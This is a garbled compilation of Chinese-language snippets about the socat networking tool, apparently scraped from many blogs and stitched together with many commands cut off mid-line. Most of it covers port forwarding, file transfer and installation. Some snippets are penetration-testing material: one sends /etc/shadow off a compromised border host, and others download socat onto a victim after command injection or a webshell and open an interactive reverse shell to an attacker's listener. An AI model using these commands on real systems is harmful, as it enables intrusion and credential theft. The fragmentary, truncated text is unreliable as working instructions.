TCP服务端模式 socat PTY,link=/dev/ttyV1,b9600,cs8,raw,echo=0, TCP-LISTEN:8080,fork 2.端口转发 2.1 TCP端口转发 socat 2.2 TCP端口转UDP socat TCP-LISTEN:8081,fork,reuseaddr UDP:192.168.1.15:8081 2.3 TCP转本地域套接字 socat TCP-LISTEN 在外部公网机器上执行 socat tcp-listen:1234 tcp-listen:3389 在内部私网机器上执行 socat tcp:outerhost:1234 tcp:192.168.1.34 在客户端登录时,输入命令socat - TCP:localhost:8080 4.网络测试 在终端1上启动服务器监听TCP,输入命令: socat - TCP-LISTEN:8080 在终端2上启动客户端连接 TCP,输入命令 socat - TCP:localhost:8080 在终端2上输入内容,就能在终端1上显示 5.文件传输 在服务端接收文件时,执行命令: socat -u TCP-LISTEN:8080
socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的 通道。 用socat就不用這麼麻煩了: on host 1: c:\>socat -u open:myfile.exe,binary tcp-listen:999 on host 2: c:\>socat 只要能夠在內部運行socat就可以了。 外部: c:\>socat tcp-listen:1234 tcp-listen:3389 內部: c:\>socat tcp:outerhost:1234 tcp:192.168.12.34:3389 socat還具有一個獨特的讀寫分流功能,比如: c:\>socat open:read.txt!!
用socat试几个netcat常用的用法,对比如下: 1. 听tcp 12345端口 # nc -l 127.0.0.1 12345 # socat tcp-listen:12345 – 2. 向远处tcp 12345端口发点字 # echo “test” | nc 127.0.0.1 12345 # echo “test” | socat – tcp-connect:127.0.0.1: 听udp 23456端口 # nc -u -l 127.0.0.1 23456 # socat udp-listen:23456 – 4. 向远处udp 23456端口发点字 # echo “test” | nc -u 127.0.0.1 23456 # echo “test” | socat – udp-connect:127.0.0.1
目录 0x01 socat介绍 0x02 socat进行文件传输 0x03 socat正向端口转发 0x04 socat反向端口转发 注: 边界机器 Ubuntu 192.168.222.177 内网机器 win7 192.168.222.137 0x01 socat介绍 socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】 ,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。 apt-get install socat 完成后来检验一下是否安装成功 socat -h 0x02 socat进行文件传输 首先,我们去边界机器执行 socat -u /etc/shadow TCP4 socat.exe tcp-listen:1000 tcp-listen:1001 然后,我们在边缘机器上执行命令 注:10.1.135.96是我本地主机的IP socat tcp4-connect
以前写过一篇使用iptables进行端口转发的文章, 今天写一下使用socat将本地端口的流量转发到远程机上的过程. 不要问我这样做有什么用, 我也不知道. 安装 $ sudo apt install socat 转发TCP端口 $ sudo vim /etc/systemd/system/socat.service # 写入如下内容 [Unit] Description =socat (https://www.zhukun.net) After=network-online.target Wants=network-online.target [Service] User $ sudo systemctl start socat_udp.service $ sudo systemctl enable socat.service $ sudo systemctl enable socat_udp.service
socat是一个用于建立双向数据流传输的工具,它可以在不同的网络层上创建连接,并支持多种协议,如TCP、UDP、SSL等。 下载socat源码 下载地址:http://www.dest-unreach.org/socat/download/ 我选择的这个版本:socat-1.7.3.4.tar.g 交叉编译 tar xvzf socat-1.7.3.4.tar.gz mkdir build cd build . /socat-1.7.3.4/configure --prefix=/home/fens/workplace/socat/nuc/install CC=arm-none-linux-gcc --host 测试运行 这里是用了它的tcp端口转发功能,命令如下: socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.110:9090 这个命令就是将本地的8080
socat(socket cat)是一个基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。 有点类似于netcat (即nc命令),nc是单纯面向网络的,socat连接的更多。 Ubuntu 系统上安装socate: apt install socat socat可以连接许多不同类型的内容,包括: 文件 管道 文件描述符(标准输入输出,等) 设备 (串口, 伪终端, 等) 套接字 : socat [options]
下边看些具体示例: socat - TCP4:www.example.com:80 上述命令,把STDIO,也就是标准输入输出 注:socat也支持SOCKS4,SOCKS5代理 就到这儿吧,更多示例,见 http://www.dest-unreach.org/socat/doc/socat.html#EXAMPLES 参考: https://www.redhat.com/en/blog/getting-started-socat http://www.dest-unreach.org/socat/doc/socat.html而socat就是其中之一,它就像是一把神奇的钥匙,能够打开网络通信的大门。本文将带你进入socat的奇妙世界,探索它的功能和用途,让你的网络编程之旅更加有趣。 socat简介 socat 是一个开源的命令行工具,用于在两个数据流之间建立连接。它的名字来源于 “Socket CAT”,它的设计灵感来自于 UNIX 中的 cat 命令。 socat 的特点和用途包括但不限于: 连接任意数据流:socat 可以连接两个任意的数据流,例如网络流、文件、管道、设备等。 以下是它们的配合使用情况和 socat 在网络编程中的应用场景: 1. socat 与 netcat (nc) 的配合使用: 联合用于端口转发:socat 可以提供更多的选项和功能,例如更复杂的协议转换 结合 socat,可以通过 SSH 隧道传输数据,同时利用 socat 的功能来转换协议或者进行其他处理。
所以只能寻求另一种办法,就是用socat工具来完成端口转发,如果你只有少数几个端口要转发的话,那么socat就是比较好的选择了。 socat唯一麻烦的地方就是好像我没找到如何转发端口段,只能一个命令一个端口。不过如果只是自用转发少量端口的话还是蛮好用的。 socat安装 使用命令: #CentOS系统 yum install -y socat #Ubuntu或Debian系统 apt-get update apt-get install -y socat socat的使用 1、转发TCP nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000 >> socat.log 2>&1 & 2、转发UDP nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000 >> socat.log 2>&1 & 很方便吧
socat 2016/05/11 Chenxin整理 socat简介 黑客小工具—socat socat 被称为是NC的plus,plus版,号称NC的最强的衍生版本。 socat是一款双向数据流通道工具。 的 N 倍加强版,socat 的官方网站: socat 。 下载socat源代码包 Index of /socat/download socat的基本用法 监听端口: socat tcp-l:12345 – 发送数据到端口: echo xxx | socat 7.3.9 读写分流 socat还具有一个独特的读写分流功能,比如: socat open:read.txt!!
常见的端口转发程序有socat、Brook、nginx、rinetd、iptables等,大部分已经在博客做过介绍,有兴趣的同学可参考我之前的文章。 socat与Brook均是通过Docker方式部署,部署完毕后,没有任何连接的情况下,内存占用情况如下。 ---- socat测试结果:耗时48m44s,最高内存占用5.8Mb左右。 占用比brook更低 高并发情况下socat内存占用比brook更高 高并发情况下brook CPU占用比socat更高 多线程下载,brook效率好于socat 总结 以上结果仅针对HTTP转发进行压测 如果是个人少量使用,并且机器配置较低的情况下建议socat 如果并发较大,要求更高的效率,建议选择brook 后续将对其它端口转发软件做对比测试,敬请关注。
12345:12345 IV、debugserver的常用命令 ---- 设置debugserver的监听端口 debugserver *:12345 -a WeChat - 开启 V、socat 的常用命令 ---- socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock VI、SSH 的常用命令 ---- devzkndeMacBook-Pro
---- 实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty 前言 当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的 使用socat socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。 攻击机: # 首先安装 $ sudo apt install socat # 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444 目标机 # 把socat上传到目标机器上或者直接下载 $ wget https://github.com/andrew-d/static-binaries/raw/master /binaries/linux/x86_64/socat -O /tmp/socat # 运行 $ chmod +x /tmp/socat $ /tmp/socat exec:'
: text/html\\\n\\\n<html>date: \$\(date\)
server:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT
client: \$SOCAT_PEERADDR echo -
$ socat echo STDIO
$ socat echo STDIN!! STDOUT
$ socat echo STDIO!!STDIO
$ socat echo -!!-
$ socat echo FD:0!!FD:1
$ socat echo 0!! 1
$ socat echo /dev/stdin!! - EXEC:filan,nofork
$ socat - EXEC:filan
$ socat - EXEC:filan,pipes,stderr
$ socat - EXEC:filan,pipes
Socat 安装 通过源码方式安装 1 2 3 4 5 6 $ wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz $ tar zxf socat-1.7.3.2.tar.gz $ cd socat-1.7.3.2 $ . /configure $ make $ make install 通过包安装 (推荐) Centos 1 $ yum install -y socat Debian/Ubuntu 1 $ apt-get install -y socat macOS 1 $ brew install socat Socat 基本语法 1 socat [options]
``` docker run -d -v /var/run/docker.sock:/var/run/docker.sock -p 2376:2375 \ bobrik/socat TCP4-LISTENsocat[1] 是一个用于在两个独立数据通道之间进行双向数据传输的中继工具。 基本用法是: socat [options] <bi-address> <bi-address> 可在 https://repo.or.cz/socat.git 下载源码后编译安装: tar x... /configure; make; make install 或通过包管理工具等方式安装: $ sudo apt install socat $ sudo yum install socat $ brew install socat 按如下方式启动 socat,实现宿主机端口到容器端口的映射: socat TCP-LISTEN:<host_port>,fork TCP:<container_ip>:< container_port> socat TCP-LISTEN:6400,fork TCP:172.17.0.2:6379 关于 socat 的更多用法可参考:新版瑞士军刀:socat[2] 参考
socat 代替frp实现内网穿透能避免内存占用过高和减少性能开销。 /bin/bash # 配置目录和 systemd 服务名 CONFIG_DIR="/etc/socat_pf" CONFIG_FILE="$CONFIG_DIR/forward.list" UNIT_DIR Please install socat manually." *socat (TCP[46])-LISTEN:([0-9]+),.* (TCP[46]):\[?(.*)\]? 安装 socat" echo "2. 增加端口转发" echo "3. 删除端口转发" echo "4. 列出端口转发规则" echo "5.
3. socat socat,意思是之前的cat,just so so(开玩笑),但是看人家的描述是带两个加号滴! ? KALI自带,其他系统下载链接: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz tar zxvf socat-1.7.3.4 正向传输: ubuntu监听: remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt 【TIPS】“-”前后都有空格, : KALI监听: socat TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt ubuntu获取: socat TCP4:192.168.56.102 5.小结 几只“猫”的主要功能介绍完了,说下老王的想法,最好用的是ncat,功能多而且相对于socat命令语法简单一些,但是socat的某些功能是ncat不能代替的,如交互式终端。
什么是socat? socat 是一个实用的命令行工具。 常用方法 端口转发 # 端口转发 #socat -d -d -lf /var/log/socat.log TCP4-LISTEN:6666,bind=127.0.0.1,reuseaddr,fork TCP /james,group=test,perm=0640 socat -t 2 -u – CREATE:. /james,perm=0640 读取文件 socat – /tmp/jamestest socat – GOPEN:./james socat – OPEN:. /james socat调用命令 socat – EXEC:ls 后续补充 详细操作参数介绍 socat [options] options -V print version and feature
方法2:使用socat socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY。 如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell: 在kali虚拟机我们运行以下侦听命令: socat file:`tty`,raw,echo socat你可以通过以下Github地址,下载相关的二进制静态文件进行安装: https://github.com/andrew-d/static-binaries 通过命令注入漏洞,我们可以将socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4 : socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint